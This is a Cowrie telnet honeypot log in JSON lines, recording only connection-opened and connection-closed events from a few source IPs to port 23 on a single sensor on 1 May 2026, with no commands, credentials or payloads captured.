{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":58900,"dst_ip":"159.203.135.109","dst_port":23,"session":"828ba6dadab3","protocol":"telnet","message":"New connection: 85.208.100.77:58900 (159.203.135.109:23) [session: 828ba6dadab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:10.646433Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":59510,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b54cf527081","protocol":"telnet","message":"New connection: 81.30.157.18:59510 (159.203.135.109:23) [session: 2b54cf527081]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:10.733104Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":58796,"dst_ip":"159.203.135.109","dst_port":23,"session":"915765d24090","protocol":"telnet","message":"New connection: 173.249.44.46:58796 (159.203.135.109:23) [session: 915765d24090]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:10.744016Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":49742,"dst_ip":"159.203.135.109","dst_port":23,"session":"ead15bc46590","protocol":"telnet","message":"New connection: 82.163.78.83:49742 (159.203.135.109:23) [session: ead15bc46590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:10.809748Z"}
{"eventid":"cowrie.session.closed","duration":30.65130615234375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:11.061879Z","src_ip":"37.187.24.227","session":"83bfd9b6b4e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.734801769256592,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:11.074808Z","src_ip":"85.208.100.77","session":"382a0b068b91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.857895612716675,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:11.080363Z","src_ip":"37.187.24.227","session":"e8247a4eb69b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.288146257400513,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:11.112253Z","src_ip":"81.30.157.18","session":"470053ad6b07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.584273099899292,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:11.132072Z","src_ip":"206.189.139.22","session":"c9a11ba91c08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":59900,"dst_ip":"159.203.135.109","dst_port":23,"session":"e10205d7f0e2","protocol":"telnet","message":"New connection: 85.208.100.77:59900 (159.203.135.109:23) [session: e10205d7f0e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:11.172945Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":50184,"dst_ip":"159.203.135.109","dst_port":23,"session":"25f6961a017f","protocol":"telnet","message":"New connection: 82.163.78.83:50184 (159.203.135.109:23) [session: 25f6961a017f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:11.242295Z"}
{"eventid":"cowrie.session.closed","duration":31.427316427230835,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:11.376173Z","src_ip":"81.30.157.18","session":"c1b41e32b0e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":60346,"dst_ip":"159.203.135.109","dst_port":23,"session":"b125bdc072d4","protocol":"telnet","message":"New connection: 85.208.100.77:60346 (159.203.135.109:23) [session: b125bdc072d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:11.400945Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":59518,"dst_ip":"159.203.135.109","dst_port":23,"session":"4efeb5314187","protocol":"telnet","message":"New connection: 81.30.157.18:59518 (159.203.135.109:23) [session: 4efeb5314187]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:11.521653Z"}
{"eventid":"cowrie.session.closed","duration":30.77618408203125,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:11.549485Z","src_ip":"149.102.133.101","session":"eb1a522f8505","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.139.22","src_port":56022,"dst_ip":"159.203.135.109","dst_port":23,"session":"35effff2dd61","protocol":"telnet","message":"New connection: 206.189.139.22:56022 (159.203.135.109:23) [session: 35effff2dd61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:11.560545Z"}
{"eventid":"cowrie.session.closed","duration":30.71653914451599,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:12.038041Z","src_ip":"82.163.78.83","session":"6295cdf8580a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.934601306915283,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:12.051780Z","src_ip":"173.249.44.46","session":"a74eb5f480db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.425615072250366,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:12.066964Z","src_ip":"173.249.44.46","session":"078ff205474f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.270692586898804,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:12.099965Z","src_ip":"37.187.24.227","session":"514aa6c3db43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.834678649902344,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:12.160413Z","src_ip":"85.208.100.77","session":"7113231dc9de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":60634,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e33cddee805","protocol":"telnet","message":"New connection: 173.249.44.46:60634 (159.203.135.109:23) [session: 2e33cddee805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:12.201260Z"}
{"eventid":"cowrie.session.closed","duration":31.011127710342407,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:12.213600Z","src_ip":"46.101.32.143","session":"51dde7112a19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":33154,"dst_ip":"159.203.135.109","dst_port":23,"session":"c13c4466cd40","protocol":"telnet","message":"New connection: 173.249.44.46:33154 (159.203.135.109:23) [session: c13c4466cd40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:12.666447Z"}
{"eventid":"cowrie.session.closed","duration":30.853357076644897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:13.042634Z","src_ip":"82.163.78.83","session":"2e635c3a14d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.858808279037476,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:13.053310Z","src_ip":"82.163.78.83","session":"e723f07b614f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.849475622177124,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:13.071698Z","src_ip":"37.187.24.227","session":"0b2fabc4f1cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":52366,"dst_ip":"159.203.135.109","dst_port":23,"session":"c991995542dc","protocol":"telnet","message":"New connection: 82.163.78.83:52366 (159.203.135.109:23) [session: c991995542dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:13.092659Z"}
{"eventid":"cowrie.session.closed","duration":30.79961633682251,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:13.129239Z","src_ip":"82.163.78.83","session":"75cdbdceedd4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":33944,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1c0dac470f3","protocol":"telnet","message":"New connection: 173.249.44.46:33944 (159.203.135.109:23) [session: f1c0dac470f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:13.191468Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":59524,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4c48d624d52","protocol":"telnet","message":"New connection: 81.30.157.18:59524 (159.203.135.109:23) [session: b4c48d624d52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:13.345122Z"}
{"eventid":"cowrie.session.closed","duration":30.928818941116333,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:14.056614Z","src_ip":"82.163.78.83","session":"cde6f9e48e0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72454595565796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:14.076403Z","src_ip":"37.187.24.227","session":"a9816bf60d47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.257742404937744,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:14.151155Z","src_ip":"82.163.78.83","session":"1940fbe836b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84349298477173,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:14.209624Z","src_ip":"85.208.100.77","session":"e433d64d8cef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":35328,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7a4973b9f82","protocol":"telnet","message":"New connection: 173.249.44.46:35328 (159.203.135.109:23) [session: e7a4973b9f82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:14.233177Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":38238,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf5c6932ee81","protocol":"telnet","message":"New connection: 85.208.100.77:38238 (159.203.135.109:23) [session: cf5c6932ee81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:14.408033Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":36474,"dst_ip":"159.203.135.109","dst_port":23,"session":"1116938a9b10","protocol":"telnet","message":"New connection: 173.249.44.46:36474 (159.203.135.109:23) [session: 1116938a9b10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:14.885580Z"}
{"eventid":"cowrie.session.closed","duration":30.90729522705078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:15.187302Z","src_ip":"81.30.157.18","session":"703f6378adc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":37326,"dst_ip":"159.203.135.109","dst_port":23,"session":"547c3b22806d","protocol":"telnet","message":"New connection: 173.249.44.46:37326 (159.203.135.109:23) [session: 547c3b22806d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:15.404592Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.139.22","src_port":56032,"dst_ip":"159.203.135.109","dst_port":23,"session":"04d19707ece1","protocol":"telnet","message":"New connection: 206.189.139.22:56032 (159.203.135.109:23) [session: 04d19707ece1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:15.533728Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":37736,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbb047123384","protocol":"telnet","message":"New connection: 173.249.44.46:37736 (159.203.135.109:23) [session: bbb047123384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:15.652471Z"}
{"eventid":"cowrie.session.closed","duration":30.647321701049805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:16.055063Z","src_ip":"37.187.24.227","session":"548d0c8b402b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.051910400390625,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:16.077336Z","src_ip":"81.30.157.18","session":"cfcdb7b89d9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.282552242279053,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:16.135828Z","src_ip":"81.30.157.18","session":"921d59c354de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.122265338897705,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:16.324957Z","src_ip":"37.187.24.227","session":"46ea02906026","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":42364,"dst_ip":"159.203.135.109","dst_port":23,"session":"1062018abe0e","protocol":"telnet","message":"New connection: 85.208.100.77:42364 (159.203.135.109:23) [session: 1062018abe0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:16.330637Z"}
{"eventid":"cowrie.session.closed","duration":30.719281911849976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:17.057010Z","src_ip":"81.30.157.18","session":"c8ee36a8e348","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":35070,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c822855bf7a","protocol":"telnet","message":"New connection: 81.30.157.18:35070 (159.203.135.109:23) [session: 7c822855bf7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:17.076005Z"}
{"eventid":"cowrie.session.closed","duration":31.023783683776855,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:17.205878Z","src_ip":"81.30.157.18","session":"2436ae8bcf5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":57770,"dst_ip":"159.203.135.109","dst_port":23,"session":"75cadc15d08e","protocol":"telnet","message":"New connection: 82.163.78.83:57770 (159.203.135.109:23) [session: 75cadc15d08e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:17.271216Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":35074,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ba890f925eb","protocol":"telnet","message":"New connection: 81.30.157.18:35074 (159.203.135.109:23) [session: 0ba890f925eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:17.276396Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":44204,"dst_ip":"159.203.135.109","dst_port":23,"session":"2092d651bcc0","protocol":"telnet","message":"New connection: 85.208.100.77:44204 (159.203.135.109:23) [session: 2092d651bcc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:17.315707Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":57924,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4a710e404e0","protocol":"telnet","message":"New connection: 82.163.78.83:57924 (159.203.135.109:23) [session: c4a710e404e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:17.408799Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":48060,"dst_ip":"159.203.135.109","dst_port":23,"session":"24cf88d67b69","protocol":"telnet","message":"New connection: 149.102.133.101:48060 (159.203.135.109:23) [session: 24cf88d67b69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:17.607454Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":35080,"dst_ip":"159.203.135.109","dst_port":23,"session":"30869e800d63","protocol":"telnet","message":"New connection: 81.30.157.18:35080 (159.203.135.109:23) [session: 30869e800d63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:17.694177Z"}
{"eventid":"cowrie.session.closed","duration":31.352161169052124,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:17.706622Z","src_ip":"85.208.100.77","session":"b309196d66b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":41192,"dst_ip":"159.203.135.109","dst_port":23,"session":"f812904632fe","protocol":"telnet","message":"New connection: 173.249.44.46:41192 (159.203.135.109:23) [session: f812904632fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:18.024800Z"}
{"eventid":"cowrie.session.closed","duration":30.571821451187134,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:18.126569Z","src_ip":"81.30.157.18","session":"84a37761bdbf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.648910999298096,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:18.159086Z","src_ip":"46.101.32.143","session":"d884fd82984a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18885111808777,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:18.248920Z","src_ip":"85.208.100.77","session":"ca61f8dc9cc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":47824,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc18e929b031","protocol":"telnet","message":"New connection: 85.208.100.77:47824 (159.203.135.109:23) [session: fc18e929b031]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:18.941049Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":35090,"dst_ip":"159.203.135.109","dst_port":23,"session":"4019417451ee","protocol":"telnet","message":"New connection: 81.30.157.18:35090 (159.203.135.109:23) [session: 4019417451ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:19.763372Z"}
{"eventid":"cowrie.session.closed","duration":31.453895807266235,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:19.996004Z","src_ip":"82.163.78.83","session":"7161d916c677","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.35495638847351,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:20.043648Z","src_ip":"149.102.133.101","session":"87dd29628d72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.32093071937561,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:20.109271Z","src_ip":"37.187.24.227","session":"028bd8fcdb89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":35094,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c2c04a3d054","protocol":"telnet","message":"New connection: 81.30.157.18:35094 (159.203.135.109:23) [session: 2c2c04a3d054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:20.245768Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":48066,"dst_ip":"159.203.135.109","dst_port":23,"session":"a52e080c3d63","protocol":"telnet","message":"New connection: 149.102.133.101:48066 (159.203.135.109:23) [session: a52e080c3d63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:20.279483Z"}
{"eventid":"cowrie.session.closed","duration":30.66680359840393,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:20.306989Z","src_ip":"46.101.32.143","session":"b0ff59e27830","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.202666997909546,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:20.363894Z","src_ip":"149.102.133.101","session":"4289a62033c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.44.46","src_port":44486,"dst_ip":"159.203.135.109","dst_port":23,"session":"165e81e65d99","protocol":"telnet","message":"New connection: 173.249.44.46:44486 (159.203.135.109:23) [session: 165e81e65d99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:20.438957Z"}
{"eventid":"cowrie.session.closed","duration":30.726291179656982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:21.052632Z","src_ip":"37.187.24.227","session":"e7e7eb87dc6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.767887830734253,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:21.061326Z","src_ip":"173.249.44.46","session":"669e1704b51e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":48074,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef96bd957adc","protocol":"telnet","message":"New connection: 149.102.133.101:48074 (159.203.135.109:23) [session: ef96bd957adc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:21.098129Z"}
{"eventid":"cowrie.session.closed","duration":30.727330207824707,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:21.131067Z","src_ip":"82.163.78.83","session":"2c1c10f40ab6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":35106,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f6ccb57bfa9","protocol":"telnet","message":"New connection: 81.30.157.18:35106 (159.203.135.109:23) [session: 0f6ccb57bfa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:21.200840Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.163.78.83","src_port":34264,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa68bbecfee7","protocol":"telnet","message":"New connection: 82.163.78.83:34264 (159.203.135.109:23) [session: fa68bbecfee7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:21.322922Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":48080,"dst_ip":"159.203.135.109","dst_port":23,"session":"52454e9266ee","protocol":"telnet","message":"New connection: 149.102.133.101:48080 (159.203.135.109:23) [session: 52454e9266ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:21.628938Z"}
{"eventid":"cowrie.session.closed","duration":30.81106472015381,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:22.045578Z","src_ip":"149.102.133.101","session":"a90a3a7aaac9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.714159727096558,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:22.051198Z","src_ip":"81.30.157.18","session":"4574ba0ef936","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.21474289894104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:22.058604Z","src_ip":"173.249.44.46","session":"68ef9341f43b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.850736379623413,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:22.076559Z","src_ip":"173.249.44.46","session":"e320f1b42513","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":35116,"dst_ip":"159.203.135.109","dst_port":23,"session":"5acdfec0b7c3","protocol":"telnet","message":"New connection: 81.30.157.18:35116 (159.203.135.109:23) [session: 5acdfec0b7c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:59:22.176467Z"}
